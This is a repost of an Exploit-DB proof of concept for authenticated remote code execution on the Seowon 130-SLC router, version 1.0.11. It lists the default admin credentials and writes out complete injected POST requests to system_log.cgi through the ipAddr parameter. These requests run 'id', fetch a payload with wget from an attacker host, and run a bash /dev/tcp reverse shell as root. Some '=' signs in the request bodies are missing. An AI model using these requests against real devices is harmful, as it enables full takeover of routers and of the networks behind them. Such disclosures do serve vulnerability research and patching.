Seowon 130-SLC router 1.0.11 – ‘ipAddr’ RCE (Authenticated)

• Exploit Database
• 117 阅读

• 作者： maj0rmil4d
  日期： 2020-11-24
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/49097/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106

  # Exploit Title: Seowon 130-SLC router 1.0.11 - 'ipAddr' RCE (Authenticated) # Date: 5 Aug 2020 # Exploit Author: maj0rmil4d # Vendor Homepage: http://www.seowonintech.co.kr/en/ # Hardware Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=150&big_kindB05&middle_kindB05_29 # Version: 1.0.11 (Possibly all versions)   The default user/pass is admin/admin your commands run as root user the vulnerablity is on the ipAddr parameter in system_log.cgi   Usage:   login to the dashboard. setup your listener. download the revshell.txt with the RCE run the revshell.txt   * here is the RCE request :   POST /cgi-bin/system_log.cgi? HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/201= 00101 Firefox/79.0 Accept: */* Accept-Language: en-US,en;q0.5 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 183 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/diagnostic.html?t201802140812 Cookie: productcpe; cpe_buildTime201802140812; vendormobinnet; = connTypelte; modelCodeSLC_130G; cpe_multiPdnEnable1; cpe_langen= ; cpe_voip0; cpe_cwmpc1; cpe_snmp1; filesharing0; cpe_switchEna= ble0; cpe_vlanEnable1; cpe_IPv6Enable1; cpe_foc0; cpe_vpn1; = cpe_httpsEnable0; cpe_internetMTUEnable0; cpe_sleepMode0; cpe_wlan= Enable1; cpe_simRestriction0; cpe_opmode1; sessionTime159664408= 4662; cpe_loginadmin; _lang   CommandDiagnostic&traceModetrace&reportIpOnly0&pingPktSize56= &pingTimeout30&pingCount4&ipAddr;id&maxTTLCnt30&queriesCnt3&= reportIpOnlyCheckboxon&btnApplyApply&T1596644096617     * to get a reverse shell, setup the listener and download the file on the r= outer then run it . * the content of the revshell.txt :   bash -i >& /dev/tcp/192.168.1.10/45214 0>&1   * to download :     POST /cgi-bin/system_log.cgi? HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/201= 00101 Firefox/79.0 Accept: */* Accept-Language: en-US,en;q0.5 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 183 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/diagnostic.html?t201802140812 Cookie: productcpe; cpe_buildTime201802140812; vendormobinnet; = connTypelte; modelCodeSLC_130G; cpe_multiPdnEnable1; cpe_langen= ; cpe_voip0; cpe_cwmpc1; cpe_snmp1; filesharing0; cpe_switchEna= ble0; cpe_vlanEnable1; cpe_IPv6Enable1; cpe_foc0; cpe_vpn1; = cpe_httpsEnable0; cpe_internetMTUEnable0; cpe_sleepMode0; cpe_wlan= Enable1; cpe_simRestriction0; cpe_opmode1; sessionTime159664408= 4662; cpe_loginadmin; _lang   CommandDiagnostic&traceModetrace&reportIpOnly0&pingPktSize56= &pingTimeout30&pingCount4&ipAddr;wget http://192.168.1.10/revshell= .txt&maxTTLCnt30&queriesCnt3&reportIpOnlyCheckboxon&btnApplyApp= ly&T1596644096617     * to run it :   POST /cgi-bin/system_log.cgi? HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/201= 00101 Firefox/79.0 Accept: */* Accept-Language: en-US,en;q0.5 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 183 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/diagnostic.html?t201802140812 Cookie: productcpe; cpe_buildTime201802140812; vendormobinnet; = connTypelte; modelCodeSLC_130G; cpe_multiPdnEnable1; cpe_langen= ; cpe_voip0; cpe_cwmpc1; cpe_snmp1; filesharing0; cpe_switchEna= ble0; cpe_vlanEnable1; cpe_IPv6Enable1; cpe_foc0; cpe_vpn1; = cpe_httpsEnable0; cpe_internetMTUEnable0; cpe_sleepMode0; cpe_wlan= Enable1; cpe_simRestriction0; cpe_opmode1; sessionTime159664408= 4662; cpe_loginadmin; _lang   CommandDiagnostic&traceModetrace&reportIpOnly0&pingPktSize56= &pingTimeout30&pingCount4&ipAddr;bash revshell.txt&maxTTLCnt30&= queriesCnt3&reportIpOnlyCheckboxon&btnApplyApply&T1596644096617